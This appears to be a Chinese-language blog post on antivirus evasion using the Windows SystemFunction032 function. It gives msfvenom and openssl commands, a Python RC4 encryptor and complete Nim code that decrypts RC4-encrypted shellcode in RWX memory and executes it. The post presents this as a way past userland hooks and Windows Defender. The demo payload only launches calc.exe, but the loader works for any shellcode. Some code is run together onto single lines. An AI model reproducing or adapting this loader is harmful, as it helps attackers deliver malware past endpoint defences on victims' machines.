SystemFunction032函数的免杀研究

什么是SystemFunction032函数？

虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它，但由于我之前对它的研究并不多，才有了下文。

这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如，ReactOS项目的代码中显示，它需要一个指向RC4_Context结构的指针作为输入，以及一个指向加密密钥的指针。

不过，目前来看，除了XOR操作，至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是，你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章，使用简单的XOR操作，攻击者即使是使用了较长的密钥，也会被AV/EDR供应商检测到。

初步想法

虽然RC4算法被认为是不安全的，甚至多年来已经被各个安全厂商研究，但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES，可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。

通常情况下，如果你想在一个进程中执行Shellcode，你需要执行以下步骤。

1、打开一个到进程的句柄

2、在该进程中分配具有RW/RX或RWX权限的内存

3、将Shellcode写入该区域

4、(可选)将权限从RW改为RX，以便执行

5、以线程/APC/回调/其他方式执行Shellcode。

为了避免基于签名的检测，我们可以在执行前对我们的Shellcode进行加密并在运行时解密。

例如，对于AES解密，流程通常是这样的。

1、打开一个到进程的句柄

2、用RW/RX或RWX的权限在该进程中分配内存

3、解密Shellcode，这样我们就可以将shellcode的明文写入内存中

4、将Shellcode写入分配的区域中

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode

在这种情况下，Shellcode本身在写入内存时可能会被发现，例如被用户区的钩子程序发现，因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。

XOR的使用可以很好的避免这一点，因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。

1、为进程打开一个句柄

2、在该进程中以RW/RX或RWX的权限分配内存

3、将Shellcode写入分配的区域中

4、XOR解密Shellcode的内存区域

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode。

但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。

这里有一个很好的替代方案，我们可以利用SystemFunction032来解密Shellcode，然后将其写入内存中。

生成POC

首先，我们需要生成Shellcode，然后使用OpenSSL对它进行RC4加密。因此，我们可以使用msfvenom来生成。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin

但后来在调试时发现，SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。

最终修改为

openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin

我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob（仅Windows操作系统）。

import winim
import winim/lean# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}# This is the mentioned RC4 struct
typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Call SystemFunction032
SystemFunction032(&imgString, &keyString)copyMem(addr shellcode[0],rPtr ,size)echo "Writing encrypted shellcode to dec.bin"writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode

之后，又写出了一个简单的Python脚本，用Python脚本简化了加密的过程。

#!/usr/bin/env python3from typing import Iterator
from base64 import b64encode# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:sched = [i for i in range(0, 256)]i = 0for j in range(0, 256):i = (i + sched[j] + key[j % len(key)]) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpreturn scheddef stream_generation(sched: list[int]) -> Iterator[bytes]:i, j = 0, 0while True:i = (1 + i) % 256j = (sched[i] + j) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpyield sched[(sched[i] + sched[j]) % 256]        def encrypt(plaintext: bytes, key: bytes) -> bytes:sched = key_scheduling(key)key_stream = stream_generation(sched)ciphertext = b''for char in plaintext:enc = char ^ next(key_stream)ciphertext += bytes([enc])return ciphertextif __name__ == '__main__':# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.binwith open('calc.bin', 'rb') as f:result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')print(b64encode(result).decode())

为了执行这个shellcode，我们可以简单地使用以下Nim代码。

import winim
import winim/lean# (OPTIONAL) do some Environmental Keying stuff# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans# Directly call the Shellcode instead of using a Thread/APC/Callback/whateverlet f = cast[proc(){.nimcall.}](rPtr)
f()

最终效果，至少windows defender不会报毒。

通过使用这个方法，我们几乎可以忽略用户区的钩子程序，因为我们的明文Shellcode从未被传递给任何函数（只有SystemFunction032本身）。当然，所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。

后记

之后我想到了一个更加完美的想法。通过使用PIC-Code，我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时，所有的代码都已经被包含在了.text部分，而这个部分通常默认有RX权限，这在很多情况下是已经足够了。所以我们不需要改变内存权限，也不需要把Shellcode写到内存中。

简单来讲是以下这种情况：

1、调用SystemFunction032来解密Shellcode 

2、直接调用它

例如，PIC-Code的样本代码可以在这里找到。对于Nim语言来说，之前发布了一个库，它也能让我们相对容易地编写PIC代码，叫做Bitmancer。